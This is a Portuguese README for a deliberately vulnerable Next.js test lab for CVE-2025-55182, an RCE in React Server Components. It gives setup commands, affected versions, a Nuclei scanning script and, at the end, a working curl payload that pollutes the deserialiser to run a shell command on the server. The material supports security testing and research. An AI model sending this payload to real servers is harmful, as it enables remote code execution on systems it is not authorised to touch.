
Um ambiente de teste conteinerizado para CVE-2025-55182, uma vulnerabilidade crítica (10.0 CVSS) de Execução Remota de Código nos Componentes do Servidor React.
Um ambiente de teste containerizado para CVE-2025-55182, uma vulnerabilidade crítica (10.0 CVSS) de Execução Remota de Código nos Componentes de Servidor do React.
Este ambiente é intencionalmente vulnerável e deve ser usado APENAS para:
NÃO:
Pacotes React:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0Next.js:
React: 19.0.1, 19.1.2, 19.2.1 Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
# Constrói e inicia o ambiente vulnerável
podman compose up --build -d
# Verifica se está funcionando
curl http://localhost:3000/api/status
# Visualiza logs
podman logs -f react2shell-vuln
# Para
podman compose down
# Constrói e inicia o ambiente vulnerável
docker-compose up --build -d
# Acessa a aplicação em http://localhost:3000
.
├── README.md # Este arquivo
├── Dockerfile # Instruções de construção do container
├── Dockerfile.dev # Container de desenvolvimento com recarregamento automático
├── docker-compose.yml # Configuração do Docker/Podman Compose
├── CVE-2025-55182.yaml # Template do scanner Nuclei
├── scan.sh # Script genérico do scanner Nuclei
├── scan-results/ # Diretório de saída da varredura
└── vulnerable-app/ # Aplicação Next.js vulnerável
├── package.json # Dependências (versões vulneráveis)
├── next.config.js # Configuração do Next.js
├── tsconfig.json # Configuração do TypeScript
└── app/ # Páginas e componentes do Roteador de Aplicativos
├── layout.tsx # Layout raiz
├── page.tsx # Página principal com Componentes de Servidor
├── globals.css # Estilos
├── actions.ts # Ações do Servidor
├── api/status/ # Endpoint da API de status
└── components/ # Componentes React
Se você não tem o template, baixe-o do repositório oficial de templates nuclei:
curl -o CVE-2025-55182.yaml https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-55182.yaml
O scan.sh incluído é um scanner genérico de container Nuclei que funciona tanto com Docker quanto com Podman.
# Escaneia a aplicação vulnerável local
./scan.sh -u http://host.docker.internal:3000 -t CVE-2025-55182.yaml -v
# Escaneia qualquer alvo
./scan.sh -u https://exemplo.com -t CVE-2025-55182.yaml
# Escaneia com todos os templates Nuclei
./scan.sh -u https://exemplo.com
# Escaneia múltiplos alvos a partir de um arquivo
./scan.sh -l alvos.txt -t CVE-2025-55182.yaml
# Filtra por severidade
./scan.sh -u https://exemplo.com -s critical,high
# Saída JSON
./scan.sh -u https://exemplo.com -t CVE-2025-55182.yaml -j
podman run --rm \
-v "$(pwd)/CVE-2025-55182.yaml:/templates/CVE-2025-55182.yaml:ro" \
docker.io/projectdiscovery/nuclei:latest \
-t /templates/CVE-2025-55182.yaml \
-u "http://host.docker.internal:3000" \
-v
Assim que o container estiver em execução:
http://localhost:3000http://localhost:3000/api/statusNota: A vulnerabilidade envolve desserialização insegura no protocolo RSC. O template Nuclei testa esse vetor de ataque específico.
Para testar a versão corrigida, modifique vulnerable-app/package.json:
{
"dependencies": {
"next": "15.5.7",
"react": "^19.1.2",
"react-dom": "^19.1.2"
}
}
Em seguida, reconstrua:
# Podman
podman compose down
podman compose up --build -d
# Docker
docker-compose down
docker-compose up --build
Este ambiente de teste é fornecido apenas para fins educacionais e de pesquisa em segurança. Os mantenedores não são responsáveis por qualquer uso indevido deste software. Sempre obtenha autorização adequada antes de testar vulnerabilidades de segurança.
curl -X POST http://localhost:3000 \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
-H "X-Nextjs-Request-Id: test123" \
--data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary--' \
-i 2>&1 | grep -i "x-action-redirect"
| Opção | Descrição |
|---|
-u, --url <url> | URL de um único alvo para escanear |
-l, --list <arquivo> | Arquivo contendo lista de URLs alvo |
-t, --template <arquivo> | Arquivo ou diretório de template personalizado |
-o, --output <dir> | Diretório de saída (padrão: ./scan-results) |
-s, --severity <nível> | Filtro: info, low, medium, high, critical |
-r, --rate-limit <n> | Máximo de requisições por segundo |
-j, --json | Resultados em formato JSON |
-v, --verbose | Saída detalhada |
-h, --help | Exibe mensagem de ajuda |